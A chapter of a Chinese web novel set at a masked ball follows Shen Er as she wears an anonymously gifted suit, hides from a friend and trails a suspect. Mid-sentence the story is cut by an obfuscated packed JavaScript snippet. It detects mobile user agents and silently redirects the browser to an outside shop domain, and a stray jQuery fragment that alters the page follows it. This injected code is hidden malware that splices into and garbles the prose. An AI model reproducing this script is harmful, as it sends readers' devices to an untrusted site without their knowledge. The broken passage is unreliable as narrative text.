沈贰对着桌上黑丝绒礼盒,摸不着头脑。
“看起来还挺贵挺精致的。”她嘀咕着要不要拆开,又怕是送错人了,可是等了一个小时也没人找上门,于是好奇心做了祟,她决定打开看看。手指一勾挑开紫色的丝带。
看清里面的东西,她的眼睛瞬间睁大。
一套深灰色戗驳领制式礼服被折叠整齐放置其中,而礼服最上面搁着一个薄薄的银制面具,面具的中间镶嵌着一个小小的......
“这是紫宝石吧!”
沈贰惊呼一声,不敢捧起来,这个面料,这个做工,这个美丽程度,远不是商业街那家小店里的最贵的货能比拟的。
一定是属于某个大商场,甚至是私人订制的高档衣料店里才有的。
怎么会有人送这种东西给她!
想到这里,她又拉开门,确认了门上“医务室”的名牌没有掉落。
算了,也不管了,就当解燃眉之急了。
关上门,她迫不及待地地穿上那身礼服,看着镜子里的自己,她都快认不出了,袖口和领口有手工缝纫的金线,不喧宾夺主但也能让人一眼看到的巧思,每一个纽扣都刻有金色橡树叶的浮雕,没有一丝多余的线头。
沈贰脑子里只有一个字能够形容——“贵”
再戴上面具,只要她不开口,静静昂首立在那里,高低也像个贵族。
甚至连裤子都是精心熨烫好,没有一丁点褶皱的印迹。
她臭美地在镜子前转了好几圈,才注意到盒子里还有一朵浅紫色胸花,花瓣栩栩如生,不去触摸的话根本不会发现这其实是薄金制成的。
“唔,会不会有点太招摇了。”
戴上胸花,整个人更是气质上了一个档次。沈贰对着镜子扭来扭去,把自己给看美了,果然人靠衣装不是随便说说的。
等那股新鲜劲儿过了,她才小心翼翼地脱下礼服,挂在衣帽架上,光是挂在那里,都能想象穿上后的质感,好一个英气美人。
沈贰索性把衣帽架上的旧衣服全部扔床上,现在只有一套衣服配独享衣帽架。
......
沈贰打了个哈欠,关掉一旁响个不停的闹钟。
舞会这种东西,还不知道晚上什么情况,为了养精蓄锐她小小眯了一会儿觉。
“都七点了啊。”
伸了个懒腰,掏出抽屉里备的压缩饼干,沈贰一边嚼一边开始收拾自己。
“将头发梳成大人模样。”
一边哼着歌,一边把睡得乱糟糟的头发梳成一丝不苟的低发髻,再穿上匿名人士送上的礼服,最后洗干净脸,稳稳戴上面具。
盯着镜子里英姿飒飒的人,沈贰摸了摸耳朵自恋道:
“感觉今晚不和十个人跳舞都对不起我这一身。”
手腕上轻轻震动,莱娜又来消息了。
“你真的不来吗?”
“不了,我准备今天早点睡。”
“好吧,那我出发啦~”
想了想沈贰最后还是打算独自行动,她打开窗户往外眺望。
学校的几条主干道,尤其是大门连通的那条主路,已经有不少人两两一对,陆陆续续往里走了。
比尔德那边还没动,她便也不打算动身。
只能干等着,并且出于某种在意,她还不能坐下来,因为会让这套完美的礼服留下褶皱。
她就这样倔强地干站着,直到脑子里传来信号。
比尔德,动身了。
沈贰对着镜子看了最后一眼,犹豫一秒后,还是取下了这朵对她来说稍显张扬的胸花。
反手关上门,挺直脊背,往舞会的宴会厅赶去。
好消息是,舞会已经开始了,大家都戴着面具,她可以丝滑地溜进去而不引起别人的注意,大家都沉浸在曼妙的音乐,以及和舞伴翩翩起舞的节奏里。
坏消息是,她慢了一步,比尔德也融进了人群里,不见踪影。
她只能先去角落里的甜品区,边吃小蛋糕,边不着痕迹地搜寻比尔德。
很显然,甜品区已经有不少学生了,并且从礼服来看,身家和她有的一比。
那些学生本来还围坐一团有说有笑的,待看到沈贰后,目光都落到了她身上。
舞会上的贵族一般都集中在最中心的区域,或跳舞或品酒闲聊,角落则是留给平民学生休息和加餐的地方,这是一条不成文的规矩。
所以当这样一位身姿笔挺,只是身量稍矮一点的贵族Alpha走来时,他们都心照不宣地安静下来,让出了更多空间。
他们在心里猜测她的意图,打量她的礼服,最后竟生出了渴望被她看一眼的荒唐念头,一个个绷紧了下颌线,不知是为了比较还是......
但沈贰可没想那么多,往盘子里夹了一块奶油蛋糕,叉着就吃,完全没在意一旁偷偷自我展现的少年少女们。
馥郁的甜味安抚了紧张的神经,她本以为自己穿得算惹眼了,临走前还不好意思地取下了胸花,结果来到舞会根本不算什么,尤其是中间那一圈,一个比一个华丽,模样个个夸张,学生们大多都穿的制式礼服,和军服样式差不多,但是今晚却多了更大胆自由的色彩和装饰。
以及他们的舞伴,那些美丽的Beta,裙摆大得能装下三个她都算小瞧了。
至于Omega,是绝对不可能出现在这种“鱼龙混杂”,安防等级较低的不知名舞会。
嘴里的蛋糕还没咽下去,她拿着叉子的手臂一僵,迅速转身,往平民学生那一团扎了进去。
很快,一个梳着棕色花冠辫,带着一个孔雀面具的Beta小姐,一手提着裙摆,一手挽着一个面容谦虚的男人走来,两人佩戴着同样的粉色胸花,一看就是这位Beta女士挑选的,和她的裙摆极搭。
“特罗洛普先生,没想到您真的会答应做我的舞伴。”
男人温和地笑笑,“能被莱娜小姐邀请,才是我的荣幸。”
两人就这样并肩站在一起,各自在甜品台上挑选着蛋糕。
而沈贰背对着他们,和一位戴着黑虎面具的少年面面相觑,并且因为已经是角落位置了,少年无法挪出更多的位置给她,而她也不想在这会有什么动静,以免引起不想要的关注。
她关注到少年那深蓝近乎于黑的发色,总觉得有点眼熟,又觉得自己想多了,一样发色的人又不是没有。
而少年细细辨认着她浓郁的黑色瞳孔,试探地开口,“您是上次的......”
他刚一开口沈贰就听出来了,是艾萨克!
下一秒,她眼疾手快地把手里的蛋糕叉他嘴里,少年一愣,舌尖的奶油迅速化开,带着一点这季节水果特有的酸甜味,流进口腔,再一点点地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838414|211557||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顺着喉间往下淌。
他的眼神缓缓落到了她的嘴角边沾上的那一点奶油的白,懵懂又迷茫地想——原来是草莓味的。
亏心事还是做少了,沈贰本想堵住艾萨克的嘴,可这动作下来她反而觉得似乎还吸引了莱娜八卦的目光。
索性放下盘子,她直接挽上了少年的手臂,掐着嗓子低声道,“跟我来。”
便仰着头,一副身旁人就是自己舞伴的熟稔,一路把人拽入了舞池。
艾萨克也不挣扎,就愣愣地看着她的脸,配合着进去了。
但她毕竟也不会跳舞,便只能模仿周围人的样子,笨拙地带着少年在里面僵硬的蠕动。
幸好舞池里的人足够多,也只有极少数的人注意到,这一对舞伴,两人跳得都是“漏洞百出”的主舞步,没一个人把自己放到被引领的位置,比如那些身穿华丽礼裙的Beta。
等等。
人□□错间,她好似看到一个人影一闪而过,而那人胸前佩戴的,赫然是一朵精致的浅紫色胸花,和她留在桌上没戴走的,是一个的样式。
难道是送自己礼服的人?
她伸长了脖子去看,但周围实在太多人了,就那么一晃眼的功夫,就找不着了。
而就在她费力搜寻的时候,错过了少年眼里的彷徨,和掌心愈发灼热的温度。
浅紫色胸花的人没看清,比尔德也弄丢了,气得沈贰已经忘记自己在舞池了,她用力跺了一下脚,有些气馁。
然后她察觉到手下少年人的腰腹微微一僵,她尴尬地向下瞄了一眼,擦得锃亮的皮鞋上留下了一个灰白的鞋印。
她心虚一笑,“抱歉,我走神了。”
便收回搭在他腰上的手,抽出手帕,准备蹲下替他擦干净。
手臂却突然被人稳稳拽住,她疑惑地抬头,望着少年人困惑的黑眸,嘴唇翕动,他似乎想说着什么。
沈贰也不急,就静静等着他。
两双相似的眸子,却流露了出了不同的神色。
“没......我”
艾萨克刚要说,就见被银质面具遮去面部,只留出一双眸子的少女一愣,直直地望着他的背后,瞳孔里是前所未有的认真。
“怎么......了?”刚要侧头,怀里却一热,一瞬间,他头脑一片空白。
“别动!”沈贰倏地抱着他的腰小声喝道,少年的手被钉住般停在半空,而她正从他手臂抬起的缝隙里,观察那个戴着倒哭脸合金面具的人。
比尔德的兜里似乎装着什么,看起来有些鼓。
两人的姿势在舞池里不算过分,更亲密的也不是没有,大家也只会瞟一眼然后会心一笑,不去打扰。
沈贰的心思不在艾萨克这里,自然也不会注意到这些。
两颗心,在同一时间,剧烈跳动起来。
沈贰注意到比尔德在微不可察地瞟了一眼天花板后,开始沿着墙壁朝侧门走去。
沈贰跟着他的目光看了一眼,没发现什么异常,洁白的墙壁,巨大的水晶吊灯,以及一颗芝麻大小的蜘蛛,就再无其他了。
想到这里,她松开手,朝比尔德的方向追去。
艾萨克没有阻拦她的动作,只是略微回头,怔怔地看着她,喉间滚动两下,终究是咽下了自己都弄不明白的低落。
下一瞬,灯灭了,所有人眼前一黑。